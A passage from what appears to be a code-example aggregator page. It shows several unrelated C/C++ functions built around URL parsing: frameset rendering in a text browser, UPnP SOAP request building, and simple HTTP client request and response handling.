    MySignalHandler(*volatile prevtrap) (SIGNAL_ARG) = NULL;
    int flag;

    if (f == NULL)
	return -1;

    if (level == 0) {
	if (SETJMP(AbortLoading) != 0) {
	    TRAP_OFF;
	    return -1;
	}
	TRAP_ON;
	f->name = "_top";
    }

    if (level > 7) {
	fputs("Too many frameset tasked.\n", f1);
	return -1;
    }

    if (level == 0) {
	fprintf(f1, "<html><head><title>%s</title></head><body>\n",
		html_quote(current->buffername));
	fputs("<table hborder width=\"100%\">\n", f1);
    }
    else
	fputs("<table hborder>\n", f1);

    currentURL = f->currentURL ? f->currentURL : &current->currentURL;
    for (r = 0; r < f->row; r++) {
	fputs("<tr valign=top>\n", f1);
	for (c = 0; c < f->col; c++) {
	    union frameset_element frame;
	    struct frameset *f_frameset;
	    int i = c + r * f->col;
	    char *p = "";
	    int status = R_ST_NORMAL;
	    Str tok = Strnew();
	    int pre_mode = 0;
	    int end_tag = 0;

	    frame = f->frame[i];

	    if (frame.element == NULL) {
		fputs("<td>\n</td>\n", f1);
		continue;
	    }

	    fputs("<td", f1);
	    if (frame.element->name)
		fprintf(f1, " id=\"_%s\"", html_quote(frame.element->name));
	    if (!r)
		fprintf(f1, " width=\"%s\"", f->width[c]);
	    fputs(">\n", f1);

	    flag = 0;
	    if (force_reload) {
		flag |= RG_NOCACHE;
		if (frame.element->attr == F_BODY)
		    unloadFrame(frame.body);
	    }
	    switch (frame.element->attr) {
	    default:
		/* FIXME: gettextize? */
		fprintf(f1, "Frameset \"%s\" frame %d: type unrecognized",
			html_quote(f->name), i + 1);
		break;
	    case F_UNLOADED:
		if (!frame.body->name && f->name) {
		    frame.body->name = Sprintf("%s_%d", f->name, i)->ptr;
		}
		fflush(f1);
		f_frameset = frame_download_source(frame.body,
						   currentURL,
						   current->baseURL, flag);
		if (f_frameset) {
		    deleteFrame(frame.body);
		    f->frame[i].set = frame.set = f_frameset;
		    goto render_frameset;
		}
		/* fall through */
	    case F_BODY:
		init_stream(&f2, SCM_LOCAL, NULL);
		if (frame.body->source) {
		    fflush(f1);
		    examineFile(frame.body->source, &f2);
		}
		if (f2.stream == NULL) {
		    frame.body->attr = F_UNLOADED;
		    if (frame.body->flags & FB_NO_BUFFER)
			/* FIXME: gettextize? */
			fprintf(f1, "Open %s with other method",
				html_quote(frame.body->url));
		    else if (frame.body->url)
			/* FIXME: gettextize? */
			fprintf(f1, "Can't open %s",
				html_quote(frame.body->url));
		    else
			/* FIXME: gettextize? */
			fprintf(f1,
				"This frame (%s) contains no src attribute",
				frame.body->name ? html_quote(frame.body->name)
				: "(no name)");
		    break;
		}
		parseURL2(frame.body->url, &base, currentURL);
		p_target = f->name;
		s_target = frame.body->name;
		t_target = "_blank";
		d_target = TargetSelf ? s_target : t_target;
#ifdef USE_M17N
		charset = WC_CES_US_ASCII;
		if (current->document_charset != WC_CES_US_ASCII)
		    doc_charset = current->document_charset;
		else
		    doc_charset = DocumentCharset;
#endif
		t_stack = 0;
		if (frame.body->type &&
		    !strcasecmp(frame.body->type, "text/plain")) {
		    Str tmp;
		    fprintf(f1, "<pre>\n");
		    while ((tmp = StrmyUFgets(&f2))->length) {
			tmp = convertLine(NULL, tmp, HTML_MODE, &charset,
					  doc_charset);
			fprintf(f1, "%s", html_quote(tmp->ptr));
		    }
		    fprintf(f1, "</pre>\n");
		    UFclose(&f2);
		    break;
		}
		do {
		    int is_tag = FALSE;
		    char *q;
		    struct parsed_tag *tag;

		    do {
			if (*p == '\0') {
			    Str tmp = StrmyUFgets(&f2);
			    if (tmp->length == 0)
				break;
			    tmp = convertLine(NULL, tmp, HTML_MODE, &charset,
					      doc_charset);
			    p = tmp->ptr;
			}
			read_token(tok, &p, &status, 1, status != R_ST_NORMAL);
		    } while (status != R_ST_NORMAL);

		    if (tok->length == 0)
			continue;

		    if (tok->ptr[0] == '<') {
			if (tok->ptr[1] &&
			    REALLY_THE_BEGINNING_OF_A_TAG(tok->ptr))
			    is_tag = TRUE;
			else if (!(pre_mode & (RB_PLAIN | RB_INTXTA |
					       RB_SCRIPT | RB_STYLE))) {
			    p = Strnew_m_charp(tok->ptr + 1, p, NULL)->ptr;
			    tok = Strnew_charp("&lt;");
			}
		    }
		    if (is_tag) {
			if (pre_mode & (RB_PLAIN | RB_INTXTA | RB_SCRIPT |
					RB_STYLE)) {
			    q = tok->ptr;
			    if ((tag = parse_tag(&q, FALSE)) &&
				tag->tagid == end_tag) {
				if (pre_mode & RB_PLAIN) {
				    fputs("</PRE_PLAIN>", f1);
				    pre_mode = 0;
				    end_tag = 0;
				    goto token_end;
				}
				pre_mode = 0;
				end_tag = 0;
				goto proc_normal;
			    }
			    if (strncmp(tok->ptr, "<!--", 4) &&
				(q = strchr(tok->ptr + 1, '<'))) {
				tok = Strnew_charp_n(tok->ptr, q - tok->ptr);
				p = Strnew_m_charp(q, p, NULL)->ptr;
				status = R_ST_NORMAL;
			    }
			    is_tag = FALSE;
			}
			else if (pre_mode & RB_INSELECT) {
			    q = tok->ptr;
			    if ((tag = parse_tag(&q, FALSE))) {
				if ((tag->tagid == end_tag) ||
				    (tag->tagid == HTML_N_FORM)) {
				    if (tag->tagid == HTML_N_FORM)
					fputs("</SELECT>", f1);
				    pre_mode = 0;
				    end_tag = 0;
				    goto proc_normal;
				}
				if (t_stack) {
				    switch (tag->tagid) {
				    case HTML_TABLE:
				    case HTML_N_TABLE:
				      CASE_TABLE_TAG:
					fputs("</SELECT>", f1);
					pre_mode = 0;
					end_tag = 0;
					goto proc_normal;
				    }
				}
			    }
			}
		    }

		  proc_normal:
		    if (is_tag) {
			char *q = tok->ptr;
			int j, a_target = 0;
			ParsedURL url;

			if (!(tag = parse_tag(&q, FALSE)))
			    goto token_end;

			switch (tag->tagid) {
			case HTML_TITLE:
			    fputs("<!-- title:", f1);
			    goto token_end;
			case HTML_N_TITLE:
			    fputs("-->", f1);
			    goto token_end;
			case HTML_BASE:
			    /* "BASE" is prohibit tag */
			    if (parsedtag_get_value(tag, ATTR_HREF, &q)) {
				q = url_encode(remove_space(q), NULL, charset);
				parseURL(q, &base, NULL);
			    }
			    if (parsedtag_get_value(tag, ATTR_TARGET, &q)) {
				if (!strcasecmp(q, "_self"))
				    d_target = s_target;
				else if (!strcasecmp(q, "_parent"))
				    d_target = p_target;
				else
				    d_target = url_quote_conv(q, charset);
			    }
			    Strshrinkfirst(tok, 1);
			    Strshrink(tok, 1);
			    fprintf(f1, "<!-- %s -->", html_quote(tok->ptr));
			    goto token_end;
			case HTML_META:
			    if (parsedtag_get_value(tag, ATTR_HTTP_EQUIV, &q)
				&& !strcasecmp(q, "refresh")) {
				if (parsedtag_get_value(tag, ATTR_CONTENT, &q)
				    ) {
				    Str s_tmp = NULL;
				    int refresh_interval =
					getMetaRefreshParam(q, &s_tmp);
				    if (s_tmp) {
					q = html_quote(s_tmp->ptr);
					fprintf(f1,
						"Refresh (%d sec) <a href=\"%s\">%s</a>\n",
						refresh_interval, q, q);
				    }
				}
			    }
#ifdef USE_M17N
			    if (UseContentCharset &&
				parsedtag_get_value(tag, ATTR_HTTP_EQUIV, &q)
				&& !strcasecmp(q, "Content-Type")
				&& parsedtag_get_value(tag, ATTR_CONTENT, &q)
				&& (q = strcasestr(q, "charset")) != NULL) {
				q += 7;
				SKIP_BLANKS(q);
				if (*q == '=') {
				    wc_ces c;
				    q++;
				    SKIP_BLANKS(q);
				    if ((c = wc_guess_charset(q, 0)) != 0) {
					doc_charset = c;
					charset = WC_CES_US_ASCII;
				    }
				}
			    }
#endif
			    /* fall thru, "META" is prohibit tag */
			case HTML_HEAD:
			case HTML_N_HEAD:
			case HTML_BODY:
			case HTML_N_BODY:
			case HTML_DOCTYPE:
			    /* prohibit_tags */
			    Strshrinkfirst(tok, 1);
			    Strshrink(tok, 1);
			    fprintf(f1, "<!-- %s -->", html_quote(tok->ptr));
			    goto token_end;
			case HTML_TABLE:
			    t_stack++;
			    break;
			case HTML_N_TABLE:
			    t_stack--;
			    if (t_stack < 0) {
				t_stack = 0;
				Strshrinkfirst(tok, 1);
				Strshrink(tok, 1);
				fprintf(f1,
					"<!-- table stack underflow: %s -->",
					html_quote(tok->ptr));
				goto token_end;
			    }
			    break;
			  CASE_TABLE_TAG:
			    /* table_tags MUST be in table stack */
			    if (!t_stack) {
				Strshrinkfirst(tok, 1);
				Strshrink(tok, 1);
				fprintf(f1, "<!-- %s -->",
					html_quote(tok->ptr));
				goto token_end;

			    }
			    break;
			case HTML_SELECT:
			    pre_mode = RB_INSELECT;
			    end_tag = HTML_N_SELECT;
			    break;
			case HTML_TEXTAREA:
			    pre_mode = RB_INTXTA;
			    end_tag = HTML_N_TEXTAREA;
			    break;
			case HTML_SCRIPT:
			    pre_mode = RB_SCRIPT;
			    end_tag = HTML_N_SCRIPT;
			    break;
			case HTML_STYLE:
			    pre_mode = RB_STYLE;
			    end_tag = HTML_N_STYLE;
			    break;
			case HTML_LISTING:
			    pre_mode = RB_PLAIN;
			    end_tag = HTML_N_LISTING;
			    fputs("<PRE_PLAIN>", f1);
			    goto token_end;
			case HTML_XMP:
			    pre_mode = RB_PLAIN;
			    end_tag = HTML_N_XMP;
			    fputs("<PRE_PLAIN>", f1);
			    goto token_end;
			case HTML_PLAINTEXT:
			    pre_mode = RB_PLAIN;
			    end_tag = MAX_HTMLTAG;
			    fputs("<PRE_PLAIN>", f1);
			    goto token_end;
			default:
			    break;
			}
			for (j = 0; j < TagMAP[tag->tagid].max_attribute; j++) {
			    switch (tag->attrid[j]) {
			    case ATTR_SRC:
			    case ATTR_HREF:
			    case ATTR_ACTION:
				if (!tag->value[j])
				    break;
				tag->value[j] =
				    url_encode(remove_space(tag->value[j]),
					       &base, charset);
				tag->need_reconstruct = TRUE;
				parseURL2(tag->value[j], &url, &base);
				if (url.scheme == SCM_UNKNOWN ||
#ifndef USE_W3MMAILER
				    url.scheme == SCM_MAILTO ||
#endif
				    url.scheme == SCM_MISSING)
				    break;
				a_target |= 1;
				tag->value[j] = parsedURL2Str(&url)->ptr;
				parsedtag_set_value(tag,
						    ATTR_REFERER,
						    parsedURL2Str(&base)->ptr);
#ifdef USE_M17N
				if (tag->attrid[j] == ATTR_ACTION &&
				    charset != WC_CES_US_ASCII)
				    parsedtag_set_value(tag,
							ATTR_CHARSET,
							wc_ces_to_charset
							(charset));
#endif
				break;
			    case ATTR_TARGET:
				if (!tag->value[j])
				    break;
				a_target |= 2;
				if (!strcasecmp(tag->value[j], "_self")) {
				    parsedtag_set_value(tag,
							ATTR_TARGET, s_target);
				}
				else if (!strcasecmp(tag->value[j], "_parent")) {
				    parsedtag_set_value(tag,
							ATTR_TARGET, p_target);
				}
				break;
			    case ATTR_NAME:
			    case ATTR_ID:
				if (!tag->value[j])
				    break;
				parsedtag_set_value(tag,
						    ATTR_FRAMENAME, s_target);
				break;
			    }
			}
			if (a_target == 1) {
			    /* there is HREF attribute and no TARGET
			     * attribute */
			    parsedtag_set_value(tag, ATTR_TARGET, d_target);
			}
			if (parsedtag_need_reconstruct(tag))
			    tok = parsedtag2str(tag);
			Strfputs(tok, f1);
		    }
		    else {
			if (pre_mode & RB_PLAIN)
			    fprintf(f1, "%s", html_quote(tok->ptr));
			else if (pre_mode & RB_INTXTA)
			    fprintf(f1, "%s",
				    html_quote(html_unquote(tok->ptr)));
			else
			    Strfputs(tok, f1);
		    }
		  token_end:
		    Strclear(tok);
		} while (*p != '\0' || !iseos(f2.stream));
		if (pre_mode & RB_PLAIN)
		    fputs("</PRE_PLAIN>\n", f1);
		else if (pre_mode & RB_INTXTA)
		    fputs("</TEXTAREA></FORM>\n", f1);
		else if (pre_mode & RB_INSELECT)
		    fputs("</SELECT></FORM>\n", f1);
		else if (pre_mode & (RB_SCRIPT | RB_STYLE)) {
		    if (status != R_ST_NORMAL)
			fputs(correct_irrtag(status)->ptr, f1);
		    if (pre_mode & RB_SCRIPT)
			fputs("</SCRIPT>\n", f1);
		    else if (pre_mode & RB_STYLE)
			fputs("</STYLE>\n", f1);
		}
		while (t_stack--)
		    fputs("</TABLE>\n", f1);
		UFclose(&f2);
		break;
	    case F_FRAMESET:
	      render_frameset:
		if (!frame.set->name && f->name) {
		    frame.set->name = Sprintf("%s_%d", f->name, i)->ptr;
		}
		createFrameFile(frame.set, f1, current, level + 1,
				force_reload);
		break;
	    }
	    fputs("</td>\n", f1);
	}
	fputs("</tr>\n", f1);
    }

    fputs("</table>\n", f1);
    if (level == 0) {
	fputs("</body></html>\n", f1);
	TRAP_OFF;
    }
    return 0;
}
Esempio n. 23
0
/* simpleUPnPcommand2 :
 * not so simple !
 * return values :
 *   pointer - OK
 *   NULL - error */
static char *
simpleUPnPcommand2(SOCKET s, const char * url, const char * service,
                   const char * action, struct UPNParg * args,
                   int * bufsize, const char * httpversion)
{
	char hostname[MAXHOSTNAMELEN+1];
	unsigned short port = 0;
	char * path;
	char soapact[128];
	char soapbody[2048];
	int soapbodylen;
	char * buf;
	int n;
	int status_code;

	*bufsize = 0;
	snprintf(soapact, sizeof(soapact), "%s#%s", service, action);
	if(args==NULL)
	{
		soapbodylen = snprintf(soapbody, sizeof(soapbody),
						  "<?xml version=\"1.0\"?>\r\n"
						  "<" SOAPPREFIX ":Envelope "
						  "xmlns:" SOAPPREFIX "=\"http://schemas.xmlsoap.org/soap/envelope/\" "
						  SOAPPREFIX ":encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
						  "<" SOAPPREFIX ":Body>"
						  "<" SERVICEPREFIX ":%s xmlns:" SERVICEPREFIX "=\"%s\">"
						  "</" SERVICEPREFIX ":%s>"
						  "</" SOAPPREFIX ":Body></" SOAPPREFIX ":Envelope>"
						  "\r\n", action, service, action);
		if ((unsigned int)soapbodylen >= sizeof(soapbody))
			return NULL;
	}
	else
	{
		char * p;
		const char * pe, * pv;
		const char * const pend = soapbody + sizeof(soapbody);
		soapbodylen = snprintf(soapbody, sizeof(soapbody),
						"<?xml version=\"1.0\"?>\r\n"
						"<" SOAPPREFIX ":Envelope "
						"xmlns:" SOAPPREFIX "=\"http://schemas.xmlsoap.org/soap/envelope/\" "
						SOAPPREFIX ":encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
						"<" SOAPPREFIX ":Body>"
						"<" SERVICEPREFIX ":%s xmlns:" SERVICEPREFIX "=\"%s\">",
						action, service);
		if ((unsigned int)soapbodylen >= sizeof(soapbody))
			return NULL;
		p = soapbody + soapbodylen;
		while(args->elt)
		{
			if(p >= pend) /* check for space to write next byte */
				return NULL;
			*(p++) = '<';

			pe = args->elt;
			while(p < pend && *pe)
				*(p++) = *(pe++);

			if(p >= pend) /* check for space to write next byte */
				return NULL;
			*(p++) = '>';

			if((pv = args->val))
			{
				while(p < pend && *pv)
					*(p++) = *(pv++);
			}

			if((p+2) > pend) /* check for space to write next 2 bytes */
				return NULL;
			*(p++) = '<';
			*(p++) = '/';

			pe = args->elt;
			while(p < pend && *pe)
				*(p++) = *(pe++);

			if(p >= pend) /* check for space to write next byte */
				return NULL;
			*(p++) = '>';

			args++;
		}
		if((p+4) > pend) /* check for space to write next 4 bytes */
			return NULL;
		*(p++) = '<';
		*(p++) = '/';
		*(p++) = SERVICEPREFIX2;
		*(p++) = ':';

		pe = action;
		while(p < pend && *pe)
			*(p++) = *(pe++);

		strncpy(p, "></" SOAPPREFIX ":Body></" SOAPPREFIX ":Envelope>\r\n",
		        pend - p);
		if(soapbody[sizeof(soapbody)-1]) /* strncpy pads buffer with 0s, so if it doesn't end in 0, could not fit full string */
			return NULL;
	}
	if(!parseURL(url, hostname, &port, &path, NULL)) return NULL;
	if(ISINVALID(s)) {
		s = connecthostport(hostname, port, 0);
		if(ISINVALID(s)) {
			/* failed to connect */
			return NULL;
		}
	}

	n = soapPostSubmit(s, path, hostname, port, soapact, soapbody, httpversion);
	if(n<=0) {
#ifdef DEBUG
		printf("Error sending SOAP request\n");
#endif
		closesocket(s);
		return NULL;
	}

	buf = getHTTPResponse(s, bufsize, &status_code);
#ifdef DEBUG
	if(*bufsize > 0 && buf)
	{
		printf("HTTP %d SOAP Response :\n%.*s\n", status_code, *bufsize, buf);
	}
	else
	{
		printf("HTTP %d, empty SOAP response. size=%d\n", status_code, *bufsize);
	}
#endif
	closesocket(s);
	return buf;
}
Esempio n. 24
0
HTTPResult HTTPClient::connect(const char* url, HTTP_METH method, IHTTPDataOut* pDataOut, IHTTPDataIn* pDataIn, int timeout) //Execute request
{
  m_httpResponseCode = 0;
  m_timeout = timeout;

  pDataIn->writeReset();
  if( pDataOut )
  {
    pDataOut->readReset();
  }

  char scheme[8];
  uint16_t port;
  char host[32];
  char path[64];
  //First we need to parse the url (http[s]://host[:port][/[path]]) -- HTTPS not supported (yet?)
  HTTPResult res = parseURL(url, scheme, sizeof(scheme), host, sizeof(host), &port, path, sizeof(path));
  if(res != HTTP_OK)
  {
    printf("parseURL returned %d \r\n", res);
    return res;
  }

  if(port == 0) //TODO do handle HTTPS->443
  {
    port = 80;
  }

  //printf("Scheme: %s \r\n", scheme);
  //printf("Host:   %s \r\n", host);
  //printf("Port:   %d \r\n", port);
  //printf("Path:   %s \r\n", path);

  //Send request
  printf("Sending request \r\n");
  char buf[CHUNK_SIZE];
  const char* meth = (method==HTTP_GET)?"GET":(method==HTTP_POST)?"POST":(method==HTTP_PUT)?"PUT":(method==HTTP_DELETE)?"DELETE":"";
  snprintf(buf, sizeof(buf), "%s %s HTTP/1.1\r\nHost: %s\r\n", meth, path, host); //Write request
  printf("Size of buffer %d \r\n", sizeof(buf));
  int ret = send(buf);

  if(ret)
  {
    printf("Could not write request \r\n");
    return HTTP_CONN;
  }

  //Send all headers

  //Send default headers
  printf("Sending headers \r\n");
  if( pDataOut != NULL )
  {
    if( pDataOut->getIsChunked() )
    {
      ret = send("Transfer-Encoding: chunked\r\n");
      CHECK_CONN_printf(ret);
    }
    else
    {
      snprintf(buf, sizeof(buf), "Content-Length: %d\r\n", pDataOut->getDataLen());
      ret = send(buf);
      CHECK_CONN_printf(ret);
    }
    char type[48];
    if( pDataOut->getDataType(type, 48) == HTTP_OK )
    {
      snprintf(buf, sizeof(buf), "Content-Type: %s\r\n", type);
      ret = send(buf);
      CHECK_CONN_printf(ret);
    }
  }

  //Close headers
  printf("Headers sent \r\n");
  ret = send("\r\n");
  CHECK_CONN_printf(ret);

  size_t trfLen;

  //Send data (if available)
  if( pDataOut != NULL )
  {
    printf("Sending data \r\n");
    while(true)
    {
      size_t writtenLen = 0;
      pDataOut->read(buf, CHUNK_SIZE, &trfLen);
      if( pDataOut->getIsChunked() )
      {
        //Write chunk header
        char chunkHeader[16];
        snprintf(chunkHeader, sizeof(chunkHeader), "%X\r\n", trfLen); //In hex encoding
        ret = send(chunkHeader);
        CHECK_CONN_printf(ret);
      }
      else if( trfLen == 0 )
      {
        break;
      }
      if( trfLen != 0 )
      {
        ret = send(buf, trfLen);
        CHECK_CONN_printf(ret);
      }

      if( pDataOut->getIsChunked()  )
      {
        ret = send("\r\n"); //Chunk-terminating CRLF
        CHECK_CONN_printf(ret);
      }
      else
      {
        writtenLen += trfLen;
        if( writtenLen >= pDataOut->getDataLen() )
        {
          break;
        }
      }

      if( trfLen == 0 )
      {
        break;
      }
    }

  }

  //Receive response
  printf("Receiving response \r\n");
  ret = recv(buf, CHUNK_SIZE - 1, CHUNK_SIZE - 1, &trfLen); //Read n bytes
  CHECK_CONN_printf(ret);

  buf[trfLen] = '\0';

  char* crlfPtr = strstr(buf, "\r\n");
  if(crlfPtr == NULL)
  {
    PRTCL_printf();
  }

  int crlfPos = crlfPtr - buf;
  buf[crlfPos] = '\0';

  //Parse HTTP response
  if( sscanf(buf, "HTTP/%*d.%*d %d %*[^\r\n]", &m_httpResponseCode) != 1 )
  {
    //Cannot match string, printfor
    printf("Not a correct HTTP answer : %s \r\n", buf);
    PRTCL_printf();
  }

  if( (m_httpResponseCode < 200) || (m_httpResponseCode >= 300) )
  {
    //Did not return a 2xx code; TODO fetch headers/(&data?) anyway and implement a mean of writing/reading headers
    printf("Response code %d  \r\n", m_httpResponseCode);
    PRTCL_printf();
  }

  printf("Reading headers \r\n");

  memmove(buf, &buf[crlfPos+2], trfLen - (crlfPos + 2) + 1); //Be sure to move NULL-terminating char as well
  trfLen -= (crlfPos + 2);

  size_t recvContentLength = 0;
  bool recvChunked = false;
  //Now get headers
  while( true )
  {
    crlfPtr = strstr(buf, "\r\n");
    if(crlfPtr == NULL)
    {
      if( trfLen < CHUNK_SIZE - 1 )
      {
        size_t newTrfLen;
        ret = recv(buf + trfLen, 1, CHUNK_SIZE - trfLen - 1, &newTrfLen);
        trfLen += newTrfLen;
        buf[trfLen] = '\0';
        printf("Read %d chars; In buf: [%s]  \r\n", newTrfLen, buf);
        CHECK_CONN_printf(ret);
        continue;
      }
      else
      {
        PRTCL_printf();
      }
    }

    crlfPos = crlfPtr - buf;

    if(crlfPos == 0) //End of headers
    {
      printf("Headers read \r\n");
      memmove(buf, &buf[2], trfLen - 2 + 1); //Be sure to move NULL-terminating char as well
      trfLen -= 2;
      break;
    }

    buf[crlfPos] = '\0';

    char key[32];
    char value[32];

    key[31] = '\0';
    value[31] = '\0';

    int n = sscanf(buf, "%31[^:]: %31[^\r\n]", key, value);
    if ( n == 2 )
    {
      printf("Read header : %s: %s  \r\n", key, value);
      if( !strcmp(key, "Content-Length") )
      {
        sscanf(value, "%d", &recvContentLength);
        pDataIn->setDataLen(recvContentLength);
      }
      else if( !strcmp(key, "Transfer-Encoding") )
      {
        if( !strcmp(value, "Chunked") || !strcmp(value, "chunked") )
        {
          recvChunked = true;
          pDataIn->setIsChunked(true);
        }
      }
      else if( !strcmp(key, "Content-Type") )
      {
        pDataIn->setDataType(value);
      }

      memmove(buf, &buf[crlfPos+2], trfLen - (crlfPos + 2) + 1); //Be sure to move NULL-terminating char as well
      trfLen -= (crlfPos + 2);

    }
    else
    {
      printf("Could not parse header  \r\n");
      PRTCL_printf();
    }

  }

  //Receive data
  printf("Receiving data  \r\n");
  while(true)
  {
    size_t readLen = 0;

    if( recvChunked )
    {
      //Read chunk header
      bool foundCrlf;
      do
      {
        foundCrlf = false;
        crlfPos=0;
        buf[trfLen]=0;
        if(trfLen >= 2)
        {
          for(; crlfPos < trfLen - 2; crlfPos++)
          {
            if( buf[crlfPos] == '\r' && buf[crlfPos + 1] == '\n' )
            {
              foundCrlf = true;
              break;
            }
          }
        }
        if(!foundCrlf) //Try to read more
        {
          if( trfLen < CHUNK_SIZE )
          {
            size_t newTrfLen;
            ret = recv(buf + trfLen, 0, CHUNK_SIZE - trfLen - 1, &newTrfLen);
            trfLen += newTrfLen;
            CHECK_CONN_printf(ret);
            continue;
          }
          else
          {
            PRTCL_printf();
          }
        }
      } while(!foundCrlf);
      buf[crlfPos] = '\0';
      int n = sscanf(buf, "%x", &readLen);
      if(n!=1)
      {
        printf("Could not read chunk length  \r\n");
        PRTCL_printf();
      }

      memmove(buf, &buf[crlfPos+2], trfLen - (crlfPos + 2)); //Not need to move NULL-terminating char any more
      trfLen -= (crlfPos + 2);

      if( readLen == 0 )
      {
        //Last chunk
        break;
      }
    }
    else
    {
      readLen = recvContentLength;
    }

    printf("Retrieving %d bytes  \r\n", readLen);

    do
    {
      pDataIn->write(buf, MIN(trfLen, readLen));
      if( trfLen > readLen )
      {
        memmove(buf, &buf[readLen], trfLen - readLen);
        trfLen -= readLen;
        readLen = 0;
      }
      else
      {
        readLen -= trfLen;
      }

      if(readLen)
      {
        ret = recv(buf, 1, CHUNK_SIZE - trfLen - 1, &trfLen);
        CHECK_CONN_printf(ret);
      }
    } while(readLen);

    if( recvChunked )
    {
      if(trfLen < 2)
      {
        size_t newTrfLen;
        //Read missing chars to find end of chunk
        ret = recv(buf + trfLen, 2 - trfLen, CHUNK_SIZE - trfLen - 1, &newTrfLen);
        CHECK_CONN_printf(ret);
        trfLen += newTrfLen;
      }
      if( (buf[0] != '\r') || (buf[1] != '\n') )
      {
        printf("Format printfor  \r\n");
        PRTCL_printf();
      }
      memmove(buf, &buf[2], trfLen - 2);
      trfLen -= 2;
    }
    else
    {
      break;
    }

  }

  printf("Completed HTTP transaction  \r\n");
  return HTTP_OK;
}
Esempio n. 25
0
com::typesafe::config::Config* com::typesafe::config::ConfigFactory::parseURL(::java::net::URL* url)
{
    clinit();
    return parseURL(url, ConfigParseOptions::defaults());
}
Esempio n. 26
0
/**
 * Formulate the Http Request and send it.
 * Read the response for meta-information and parse the Server Configuration information.
 * Params : URL , port no and the method (HEAD or GET)
 */
int HttpSocket::sendHttpRequest(HttpParams *hq)
{
	CString strurl, useragent, httpRequest;
	HTTP_METHOD method;
	CONN_TYPE connType;
	int port=0, proxyport=0;
	char strPortno[6] = {0};

	strurl		= hq->getURI();
	method		= hq->getHttpMethod();
	useragent	= hq->getUserAgent();
	connType	= hq->getConnType();
	port		= hq->getHttpPort();

	if((sessionErrorCode = parseURL(strurl)) != 0)
		return sessionErrorCode;
	
	/** If the port is specified in the URI
	 *  that gets the priority over what is 
	 *  specified in the HTTP port edit box.
	 */
	if(isPortSpecified()==true)
		port		= portNo;
	else
		portNo		= port;
	/** If the port is not specified by the 
	 *	user in the HTTP port edit control
	 *	then use the default port 80
	 */

	if(isValidPortRange(port)==false)
	{
		sessionErrorCode = InvalidHTTPPortNo;
		return sessionErrorCode;
	}

	/** Construct the HTTP request to be sent to the
	 *	HTTP Server.
	 */
	if(method == HEAD)
		httpRequest = "HEAD ";
	else 
		httpRequest = "GET ";

	/** If the HTTP connection is through the proxy, the 
	 *  absolute URI of the resource requested needs to 
	 *  be send as a parmeter of the HTTP method in HTTP 
	 *  header.
	 */
	if(connType == THRU_PROXY)
	{
		/** The resource with http port needs to be given
		 *	as specified in the requested URI.
		 */
		if(isPortSpecified()==true)
		{
			itoa(port,strPortno,10);
			httpRequest = httpRequest	+	scheme + host + ":" + CString(strPortno) + resource	+ " HTTP/1.1\r\n";
		}
		else
			httpRequest = httpRequest	+	scheme + host + resource + " HTTP/1.1\r\n";
	}
	else
		httpRequest = httpRequest	+	resource				+ " HTTP/1.1\r\n";

	httpRequest = httpRequest	+	"Host: "				+ host + "\r\n";
	httpRequest = httpRequest	+	"User-Agent: "			+  useragent + "\r\n";
	httpRequest = httpRequest	+	"Accept: */*\r\n";
	httpRequest = httpRequest	+	"Accept-Language: en-us,en;q=0.5\r\n";
	httpRequest = httpRequest	+	"Connection: close\r\n"	+ "\r\n";

	
    struct sockaddr_in hostaddr;
	/**
	 * If connection is through HTTP Proxy then 
	 * TCP connection should be established with 
	 * it and then then HTTP requset needs to be
	 * sent on the connection.
	 */
	if(connType == THRU_PROXY)
	{
		if(getHostAddr(hq->getProxyIP(),hostaddr) != 0)
		{
			return sessionErrorCode;
		}
		hostaddr.sin_port = htons(hq->getProxyPort());
	}
	else
	{
		/** Connect to the host HTTP Server on the
		 * specified port no
		 */
		if(getHostAddr((LPCSTR)host,hostaddr) != 0)
		{
			return sessionErrorCode;
		}
		hostaddr.sin_port = htons(portNo);
	}

	if(connect(sock, (struct sockaddr *)&hostaddr, sizeof(hostaddr)) == SOCKET_ERROR)
	{
		if(connType == THRU_PROXY)
			sessionErrorCode = HTTPProxyConnErr;			
		else
			sessionErrorCode = HTTPSrvrConnErr;

        return sessionErrorCode;
	}
	
	// Send an HTTP request to the host at the specified port no
	int writtenBytes = send(sock, (LPCSTR) httpRequest, httpRequest.GetLength(),0);
	int readBytes    = 0;

	memset(strHttpResponse,0,RESLEN); // Clear the receive buffer

	if(writtenBytes <=0)
	{
		sessionErrorCode = ZeroBytesSent;
        return sessionErrorCode;
	}
	
	if(IsSocketReadible(sock)) {
		readBytes           = recvfrom(sock, strHttpResponse, RESLEN-1, 0, 0, 0);
		
		if(readBytes > 0) {
			strHttpResponse[readBytes] = '\0';
		}
	}
	
    return 0;
}
Esempio n. 27
0
/* simpleUPnPcommand2 :
 * not so simple !
 * return values :
 *   pointer - OK
 *   NULL - error */
char * simpleUPnPcommand2(int s, const char * url, const char * service,
		       const char * action, struct UPNParg * args,
		       int * bufsize, const char * httpversion)
{
	char hostname[MAXHOSTNAMELEN+1];
	unsigned short port = 0;
	char * path;
	char soapact[128];
	char soapbody[2048];
	char * buf;
    int n;

	*bufsize = 0;
	snprintf(soapact, sizeof(soapact), "%s#%s", service, action);
	if(args==NULL)
	{
		/*soapbodylen = */snprintf(soapbody, sizeof(soapbody),
						"<?xml version=\"1.0\"?>\r\n"
	    	              "<" SOAPPREFIX ":Envelope "
						  "xmlns:" SOAPPREFIX "=\"http://schemas.xmlsoap.org/soap/envelope/\" "
						  SOAPPREFIX ":encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
						  "<" SOAPPREFIX ":Body>"
						  "<" SERVICEPREFIX ":%s xmlns:" SERVICEPREFIX "=\"%s\">"
						  "</" SERVICEPREFIX ":%s>"
						  "</" SOAPPREFIX ":Body></" SOAPPREFIX ":Envelope>"
					 	  "\r\n", action, service, action);
	}
	else
	{
		char * p;
		const char * pe, * pv;
		int soapbodylen;
		soapbodylen = snprintf(soapbody, sizeof(soapbody),
						"<?xml version=\"1.0\"?>\r\n"
	    	            "<" SOAPPREFIX ":Envelope "
						"xmlns:" SOAPPREFIX "=\"http://schemas.xmlsoap.org/soap/envelope/\" "
						SOAPPREFIX ":encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
						"<" SOAPPREFIX ":Body>"
						"<" SERVICEPREFIX ":%s xmlns:" SERVICEPREFIX "=\"%s\">",
						action, service);
		p = soapbody + soapbodylen;
		while(args->elt)
		{
			/* check that we are never overflowing the string... */
			if(soapbody + sizeof(soapbody) <= p + 100)
			{
				/* we keep a margin of at least 100 bytes */
